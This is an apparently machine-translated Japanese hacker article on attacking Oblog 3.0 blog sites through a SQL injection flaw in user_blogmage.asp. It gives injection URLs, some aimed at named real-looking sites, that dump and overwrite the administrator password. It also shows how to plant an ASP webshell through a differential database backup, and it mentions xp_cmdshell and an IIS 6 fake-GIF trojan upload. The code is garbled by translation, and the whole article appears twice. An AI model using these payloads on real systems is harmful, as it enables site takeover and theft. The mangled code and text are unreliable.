Oblog 3.0ホール露出
第六回黒防実験室を見たことがあります。二人の侠客はOblog 3.0に対しています。 Accessバージョンの浸透過程は、敬服の気持ちがまるで滔々としている川の水のように延々と続いて、また黄河の水のようにますます収拾がつかなくなりました。特に彼らは社会工学の原理を利用して、巧みなバックグラウンドにshellをアップロードする方法があります。感心する。こんなに多くの無駄話をして、本題に入りました。Oblog 3.0コードを通読しているうちに、user_を発見しました。blogmage.aspファイルにセキュリティ上の潜在的なリスクがあります。次のモバイルブログログの操作コードを見てください。
sub moveblog
if id=" then
Oblog.adderstr(「移動するログを指定してください」)
Oblog.showuserr
exit sub
end if
dim subjectiid
subjectid=trim(request(「subject」)
if subjectiid=" then
Oblog.adderstr(「移動する目標テーマを指定してください」)
Oblog.showuserr
exit sub
else
subjectiid=Clin(subjectiid)
end if
if instr(id,",")>0 then
「id変数にコンマが含まれている場合は、変数の空欄を外して、次のsql文を実行します。第一条にする
id=replace(id)「 ","")
sql=「Update」 [Oblog_ロゴ セット subjectiid=「&subject id&」 where ロゴ in (" & id。 & ")"&ニュース
このsql文を実行しないと、第二条にします。
else
sql=「Update」 [Oblog_ロゴ セット subjectiid=「&subject id&」 where ロゴ=" & id。 &ニュース
end if
Oblog.Execute sql
dim ブログ、パー1
セット ブログ=new クラスブログ
blog.userid=Oblog.logined_uid
blog.udate_allsbjectiid()
blog.udate_index_subject 0,0,0,“”
セット ブログ=nothing
セット rs=Oblog.execute subjectiid from Oblog_subject where userid="&Oblog.logined_uid)
while not s.eof
セット RS 1=Oblog.execute(「select」) count(ロゴ) from Oblog_ロゴ where Oblog_log.subjectiid=「&rs(0)」
Oblog.execute(「udate」) Oblog_subject セット subjectlognum=“&rs 1()&” where Oblog_subject.subjectiid=「&rs(0)」
rs.movent ext
wend
セット rs=nothing
セット rs 1=nothing
Oblog.shorwok "テーマの更新に成功しました。新たにトップページを発表しないと、テーマの統計が正確になりません。
end sub
また、ファイルの一番上のID変数に対するフィルタリングを見てください。id=Oblog.filt_badstr(trim(Request(id)))は、この文だけを使用しています。関数コードは以下の通りです。
public 機能 filtbadstr.
If。 Isnull(Str) The n
filtbadstr = ""
Exit Function
End If。
Str = Replace(Str,Chr(0),“”)
filtbadstr = Replace(Str)「&apps;」「apps;appos;
end 機能
ただ\0と単引用符を外しました。ほほほ、どうして私達の注入攻撃を阻止できますか?Oblog 3.0を使うべきです。 SQLバージョンのサイト牛刀小試し:環境テスト文を構成する:http://www.boyqs.bloger.com.cn/user_blogmage.asp?action=Move&subject=1&id=@version)--語句の一番後ろの「」に注意しないと成功しません。
以上のように私達が選んだのは最初の文です。制限条件が多くて、スペースを使ってはいけないということです。そして、提出した文にはコンマが含まれています。スペースの代わりに/**/を使うことができます。制限条件が多いので、以下のテストではプログラムを制御して第二の文を実行します。さらに環境を探る:
http://www.boyqs.bloger.com.cn/user_blogmage.asp?action=Move&subject=1&id=1%20 and%20 db_name()>0--
http://www.boyqs.bloger.com.cn/user_blogmage.asp?action=Move&subject=1&id=1%20 and%20 db_user>0--
へへへ、テストに成功しました。文章にはシングル引用符が含まれていないので、百戦錬磨の私達はもちろんこの制限を許しやすいです。SQLの中のchar関数を使うのが好きです。ちょうど手元に動き易システムを研究する時に書くcharコードツールがあります。Oblogデータベースの構造を見てみてください。Oblog_admin表の中で興味があるのはid、usernameとpasswordフィールドだけです。先にadminユーザーまたはid唯一の管理者アカウントのパスワードを暴いてみます。
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--または
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0 x 61)%2 Bchar(0 x 64)%2 Bchar(0 x 6 d)%2 Bchar(0 x 69)%2 Bchar(0 x 6 e))--
ここで、char(0 x 61)%2 Bchar(0 x 64)%2 Bchar(0 x 6 d)%2 Bchar(0 x 69)%2 Bchar(0 x 6 e)は、提出されたadminに対してchar関数を使用する符号化である。結果を返します。
私たちはまずこの暗号化された文字列を覚えて、管理者のパスワードを回復する時にまた使う必要があります。バックグラウンド管理者のパスワードを変更:
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1;udate [Oblog_admin) セット password= 2 Bchar(0 x 34)%2 Bchar(0 x 36)%2 Bchar(0 x 39)%2 Bchar(0 x 65)%2 Bchar(0 x 38)%2 Bchar(0 x 38)%2 Bchar(0 x 30)%2 Bchar(0 x 64)%2 Bchar(0 x 33)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 35)%Bchar(0 x 35)%Bchar(0 x 35)%Bchar(0 x 35)%Bchar char(0 x 38) where id=1--
そのうちのchar(0 x 34)%2 Bchar(0 x 36)%2 Bchar(0 x 39)%2 Bchar(0 x 65)%2 Bchar(0x 38)%2 Bchar(0 x 38)%2 Bchar(0x 30)%2 Bchar(0 x 64)%2 Bchar(0 x 33)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%Bchar(0 x 32)%Bchar(0 x 32)%Bchar(0 x 32)%2 Bchar(0 x 35)%Bchar(0 x 30)%Bchar(0 x 30)%Bchar(0 x 30)%Bchar(0 x 35)%Bchar(0 x 30)%Bchar(0 x 30)2Bchar(0 x 38)は469 e 80 d 32 c 0596 f 8文字列の符号化であり、469 e 80 d 32 c 0596 f 8に対応するmd 5はadmin 888であり、文字列のエンコーディングには以下のツールが使用できます。
もちろん皆さんもきっともっといいものがあります。このようにバックグラウンドIDを1の管理人のパスワードに変更しました。IDが1の管理人が対応するアカウントはデフォルトでadminです。もしあなたが確定していないなら、次のような文言で調べられます。
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)―
変更が完了しました。管理者パスワードの変更が成功したかどうか確認してください。good、私たちはもう楽屋管理権限を持っています。さわやかです。嬉しくないのは早すぎます。バックグラウンドに入りましたが、SQLバージョンはAccessバージョンと違って、前の2人の侠客が紹介したバックアップデータベースでWebShellを取得する方法はSQLバージョンでは通用しません。admin_を見てください。database.aspのコードは以下の通りです。
dim dbpath
dim ObjInstalled
if not Is Object(conn) then link_database
if is_sqldaa=0 then dbpath=server.mappath(db)
Accessバージョンを使用するとdbpathパラメータを初期化します。
ここではSQLバージョンでWebShellを取得する方法をいくつか紹介します。
まず第一に共通の方法を説明しましょう。SQLを利用します。 SERVERの特性は、方法がxp_を通過します。cmdshellは、OLIEオブジェクトインターフェースを利用して、sp_を利用します。make Webtaskは、インクリメンタルバックアップなどの方法によります。これらの方法を利用する必要な条件:Web物理パスは、バックグラウンドの管理トップページから簡単に取得できます。具体的な注入文については、uplloadshell.exeの関連コードを参照してください。実現中は、その中のシングルクォーテーションマークを注意深く処理してください。プログラムは、IE中のクッキー情報を自動的に取得することができる。クッキー情報を記入する必要はありません。
バックグラウンドの機能を利用してshellをアップロードしましたが、確かに私を長い間苦労させました。頭が大きくなりました。最初の方法はエンジェル人形です。彼らの考えは同じです。shtmを追加してファイルタイプをアップロードして、conn.aspを含めると、データベースの接続情報しか見えません。その後、aaspsp/とasp/アップロードファイルのタイプを追加したいです。このようにデータパッケージを修正してアップロードしましたが、本当にアップロードできませんでした。とても憂鬱です。休みの間、原因を調べる時間もあまりないです。この時、突然バックグラウンドでユーザーディレクトリを設定できるのを見ました。この時、突然に覚えています。インターネットでは、Windows 2003とIS 6.0を想定したWebプラットフォームの特性が伝えられています。**asp仮想ディレクトリの下にある拡張子のファイルは、aspファイルとして解釈されて実行されます。ここを思い出して興奮して踊りそうになりました。操作を見てください。バックグラウンドの常規設定|ユーザーディレクトリ管理に***.aspのディレクトリを新規作成します。このディレクトリは上の図のようにデフォルトのディレクトリに設定されます。それからウェブサイトに新しいユーザーを登録して、管理センターに入って、アルバムを選んで、asp木馬の偽gifファイルをアップロードします。このgifファイルにアクセスすると、IISはこのファイルをaspファイルとして解析します。本機でAccessバージョンを使ってテストしましたが、ファイルをアップロードすることができます。しかし、SQLバージョンのテスト時にこのディレクトリにファイルを正しくアップロードできないことが分かりました。次のようなエラー情報があります。
ADODB.Stream エラー &apps;800 a 0 bc&apps;
ファイルの書き込みに失敗しました。
//inc/Upload.inc、行 312
成功はできませんが、これは私たちのバックグラウンドでトロイの木馬をアップロードするいい方法です。ほとんどのaspサイトのプログラムはバックグラウンドでアップロードディレクトリを変更することができます。例えば、移動システムなどです。仕方がないです。最初の方法を使うしかないです。
ステップ1:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;declare @a. sysnamedeclare @s nvarrhar(4000)プロジェクト @a=db_name()プロジェクト @s=0 x 77006 F 006 B 006106 F 002 E 006206 B 00;backup database @a. ト disk=@s--
注意してください。語句には必ず単引用符が含まれてはいけません。
ステップ2:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;create テーブル [dbo.[llikz] ([cmd] [イメージ
ステップ3:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;インセンス イント llikz(cmd) values(0 x 3 C 255786565746265757575757373742822629253 E)――
注意すべき点のうち、0 x 3 C 2557865637574626575757573742822629253 Eは
ステップ4:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;declare
@a. sysnamedeclare @s nvarrhar(4000) プロジェクト @a=db_name()プロジェクト @s=0 x 66003 a 005 c 006206 c 006 f 00670000000000000030033505 c 006206 c 006 f 0067007306
0072007600650 0706 c 006 c 0069006 b 007 a 002 e 00610073000;backup database
@a. ト disk=@s WITH DIFFERENTIAL――
その中の0 x 66003 a 005 c 006206 c 006 f 0067000000000000000030033505 c 006206 c 006 f 006700730607
20076006500706 c 006 c 0069006 b 007 a 0000610073000はバックグラウンドで得られたWebの物理的経路である。
増分バックアップを使うには、publicの権限だけが必要です。OBLOGです。 3.0 SQLバージョンはWebShellの一番いい方法を持っています。操作が複雑だと感じたら、WebShellをアップロードしなくてもいいです。バックグラウンドに入って自分のアカウントをVIPユーザーに修正したり、アップロードスペースを1000万KBに修正したりして、ブログをネットのベスト盤として使ってもいいです。Oblogがインターネット上で流行っているので、脆弱性が大きいです。皆さん、むやみに破壊しないでください。
sub moveblog
if id=" then
Oblog.adderstr(「移動するログを指定してください」)
Oblog.showuserr
exit sub
end if
dim subjectiid
subjectid=trim(request(「subject」)
if subjectiid=" then
Oblog.adderstr(「移動する目標テーマを指定してください」)
Oblog.showuserr
exit sub
else
subjectiid=Clin(subjectiid)
end if
if instr(id,",")>0 then
「id変数にコンマが含まれている場合は、変数の空欄を外して、次のsql文を実行します。第一条にする
id=replace(id)「 ","")
sql=「Update」 [Oblog_ロゴ セット subjectiid=「&subject id&」 where ロゴ in (" & id。 & ")"&ニュース
このsql文を実行しないと、第二条にします。
else
sql=「Update」 [Oblog_ロゴ セット subjectiid=「&subject id&」 where ロゴ=" & id。 &ニュース
end if
Oblog.Execute sql
dim ブログ、パー1
セット ブログ=new クラスブログ
blog.userid=Oblog.logined_uid
blog.udate_allsbjectiid()
blog.udate_index_subject 0,0,0,“”
セット ブログ=nothing
セット rs=Oblog.execute subjectiid from Oblog_subject where userid="&Oblog.logined_uid)
while not s.eof
セット RS 1=Oblog.execute(「select」) count(ロゴ) from Oblog_ロゴ where Oblog_log.subjectiid=「&rs(0)」
Oblog.execute(「udate」) Oblog_subject セット subjectlognum=“&rs 1()&” where Oblog_subject.subjectiid=「&rs(0)」
rs.movent ext
wend
セット rs=nothing
セット rs 1=nothing
Oblog.shorwok "テーマの更新に成功しました。新たにトップページを発表しないと、テーマの統計が正確になりません。
end sub
また、ファイルの一番上のID変数に対するフィルタリングを見てください。id=Oblog.filt_badstr(trim(Request(id)))は、この文だけを使用しています。関数コードは以下の通りです。
public 機能 filtbadstr.
If。 Isnull(Str) The n
filtbadstr = ""
Exit Function
End If。
Str = Replace(Str,Chr(0),“”)
filtbadstr = Replace(Str)「&apps;」「apps;appos;
end 機能
ただ\0と単引用符を外しました。ほほほ、どうして私達の注入攻撃を阻止できますか?Oblog 3.0を使うべきです。 SQLバージョンのサイト牛刀小試し:環境テスト文を構成する:http://www.boyqs.bloger.com.cn/user_blogmage.asp?action=Move&subject=1&id=@version)--語句の一番後ろの「」に注意しないと成功しません。
以上のように私達が選んだのは最初の文です。制限条件が多くて、スペースを使ってはいけないということです。そして、提出した文にはコンマが含まれています。スペースの代わりに/**/を使うことができます。制限条件が多いので、以下のテストではプログラムを制御して第二の文を実行します。さらに環境を探る:
http://www.boyqs.bloger.com.cn/user_blogmage.asp?action=Move&subject=1&id=1%20 and%20 db_name()>0--
http://www.boyqs.bloger.com.cn/user_blogmage.asp?action=Move&subject=1&id=1%20 and%20 db_user>0--
へへへ、テストに成功しました。文章にはシングル引用符が含まれていないので、百戦錬磨の私達はもちろんこの制限を許しやすいです。SQLの中のchar関数を使うのが好きです。ちょうど手元に動き易システムを研究する時に書くcharコードツールがあります。Oblogデータベースの構造を見てみてください。Oblog_admin表の中で興味があるのはid、usernameとpasswordフィールドだけです。先にadminユーザーまたはid唯一の管理者アカウントのパスワードを暴いてみます。
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--または
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0 x 61)%2 Bchar(0 x 64)%2 Bchar(0 x 6 d)%2 Bchar(0 x 69)%2 Bchar(0 x 6 e))--
ここで、char(0 x 61)%2 Bchar(0 x 64)%2 Bchar(0 x 6 d)%2 Bchar(0 x 69)%2 Bchar(0 x 6 e)は、提出されたadminに対してchar関数を使用する符号化である。結果を返します。
私たちはまずこの暗号化された文字列を覚えて、管理者のパスワードを回復する時にまた使う必要があります。バックグラウンド管理者のパスワードを変更:
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1;udate [Oblog_admin) セット password= 2 Bchar(0 x 34)%2 Bchar(0 x 36)%2 Bchar(0 x 39)%2 Bchar(0 x 65)%2 Bchar(0 x 38)%2 Bchar(0 x 38)%2 Bchar(0 x 30)%2 Bchar(0 x 64)%2 Bchar(0 x 33)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%2 Bchar(0 x 35)%Bchar(0 x 35)%Bchar(0 x 35)%Bchar(0 x 35)%Bchar char(0 x 38) where id=1--
そのうちのchar(0 x 34)%2 Bchar(0 x 36)%2 Bchar(0 x 39)%2 Bchar(0 x 65)%2 Bchar(0x 38)%2 Bchar(0 x 38)%2 Bchar(0x 30)%2 Bchar(0 x 64)%2 Bchar(0 x 33)%2 Bchar(0 x 32)%2 Bchar(0 x 32)%Bchar(0 x 32)%Bchar(0 x 32)%Bchar(0 x 32)%2 Bchar(0 x 35)%Bchar(0 x 30)%Bchar(0 x 30)%Bchar(0 x 30)%Bchar(0 x 35)%Bchar(0 x 30)%Bchar(0 x 30)2Bchar(0 x 38)は469 e 80 d 32 c 0596 f 8文字列の符号化であり、469 e 80 d 32 c 0596 f 8に対応するmd 5はadmin 888であり、文字列のエンコーディングには以下のツールが使用できます。
もちろん皆さんもきっともっといいものがあります。このようにバックグラウンドIDを1の管理人のパスワードに変更しました。IDが1の管理人が対応するアカウントはデフォルトでadminです。もしあなたが確定していないなら、次のような文言で調べられます。
http://www.target.com/user_blogmage.asp?action=Move&subject=1&id=1 and 1=(select username from Oblog_admin where id=1)―
変更が完了しました。管理者パスワードの変更が成功したかどうか確認してください。good、私たちはもう楽屋管理権限を持っています。さわやかです。嬉しくないのは早すぎます。バックグラウンドに入りましたが、SQLバージョンはAccessバージョンと違って、前の2人の侠客が紹介したバックアップデータベースでWebShellを取得する方法はSQLバージョンでは通用しません。admin_を見てください。database.aspのコードは以下の通りです。
dim dbpath
dim ObjInstalled
if not Is Object(conn) then link_database
if is_sqldaa=0 then dbpath=server.mappath(db)
Accessバージョンを使用するとdbpathパラメータを初期化します。
ここではSQLバージョンでWebShellを取得する方法をいくつか紹介します。
まず第一に共通の方法を説明しましょう。SQLを利用します。 SERVERの特性は、方法がxp_を通過します。cmdshellは、OLIEオブジェクトインターフェースを利用して、sp_を利用します。make Webtaskは、インクリメンタルバックアップなどの方法によります。これらの方法を利用する必要な条件:Web物理パスは、バックグラウンドの管理トップページから簡単に取得できます。具体的な注入文については、uplloadshell.exeの関連コードを参照してください。実現中は、その中のシングルクォーテーションマークを注意深く処理してください。プログラムは、IE中のクッキー情報を自動的に取得することができる。クッキー情報を記入する必要はありません。
バックグラウンドの機能を利用してshellをアップロードしましたが、確かに私を長い間苦労させました。頭が大きくなりました。最初の方法はエンジェル人形です。彼らの考えは同じです。shtmを追加してファイルタイプをアップロードして、conn.aspを含めると、データベースの接続情報しか見えません。その後、aaspsp/とasp/アップロードファイルのタイプを追加したいです。このようにデータパッケージを修正してアップロードしましたが、本当にアップロードできませんでした。とても憂鬱です。休みの間、原因を調べる時間もあまりないです。この時、突然バックグラウンドでユーザーディレクトリを設定できるのを見ました。この時、突然に覚えています。インターネットでは、Windows 2003とIS 6.0を想定したWebプラットフォームの特性が伝えられています。**asp仮想ディレクトリの下にある拡張子のファイルは、aspファイルとして解釈されて実行されます。ここを思い出して興奮して踊りそうになりました。操作を見てください。バックグラウンドの常規設定|ユーザーディレクトリ管理に***.aspのディレクトリを新規作成します。このディレクトリは上の図のようにデフォルトのディレクトリに設定されます。それからウェブサイトに新しいユーザーを登録して、管理センターに入って、アルバムを選んで、asp木馬の偽gifファイルをアップロードします。このgifファイルにアクセスすると、IISはこのファイルをaspファイルとして解析します。本機でAccessバージョンを使ってテストしましたが、ファイルをアップロードすることができます。しかし、SQLバージョンのテスト時にこのディレクトリにファイルを正しくアップロードできないことが分かりました。次のようなエラー情報があります。
ADODB.Stream エラー &apps;800 a 0 bc&apps;
ファイルの書き込みに失敗しました。
//inc/Upload.inc、行 312
成功はできませんが、これは私たちのバックグラウンドでトロイの木馬をアップロードするいい方法です。ほとんどのaspサイトのプログラムはバックグラウンドでアップロードディレクトリを変更することができます。例えば、移動システムなどです。仕方がないです。最初の方法を使うしかないです。
ステップ1:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;declare @a. sysnamedeclare @s nvarrhar(4000)プロジェクト @a=db_name()プロジェクト @s=0 x 77006 F 006 B 006106 F 002 E 006206 B 00;backup database @a. ト disk=@s--
注意してください。語句には必ず単引用符が含まれてはいけません。
ステップ2:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;create テーブル [dbo.[llikz] ([cmd] [イメージ
ステップ3:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;インセンス イント llikz(cmd) values(0 x 3 C 255786565746265757575757373742822629253 E)――
注意すべき点のうち、0 x 3 C 2557865637574626575757573742822629253 Eは
ステップ4:
http://www.ucblog.com/user_blogmage.asp?action=Move&subject=1&id=1;declare
@a. sysnamedeclare @s nvarrhar(4000) プロジェクト @a=db_name()プロジェクト @s=0 x 66003 a 005 c 006206 c 006 f 00670000000000000030033505 c 006206 c 006 f 0067007306
0072007600650 0706 c 006 c 0069006 b 007 a 002 e 00610073000;backup database
@a. ト disk=@s WITH DIFFERENTIAL――
その中の0 x 66003 a 005 c 006206 c 006 f 0067000000000000000030033505 c 006206 c 006 f 006700730607
20076006500706 c 006 c 0069006 b 007 a 0000610073000はバックグラウンドで得られたWebの物理的経路である。
増分バックアップを使うには、publicの権限だけが必要です。OBLOGです。 3.0 SQLバージョンはWebShellの一番いい方法を持っています。操作が複雑だと感じたら、WebShellをアップロードしなくてもいいです。バックグラウンドに入って自分のアカウントをVIPユーザーに修正したり、アップロードスペースを1000万KBに修正したりして、ブログをネットのベスト盤として使ってもいいです。Oblogがインターネット上で流行っているので、脆弱性が大きいです。皆さん、むやみに破壊しないでください。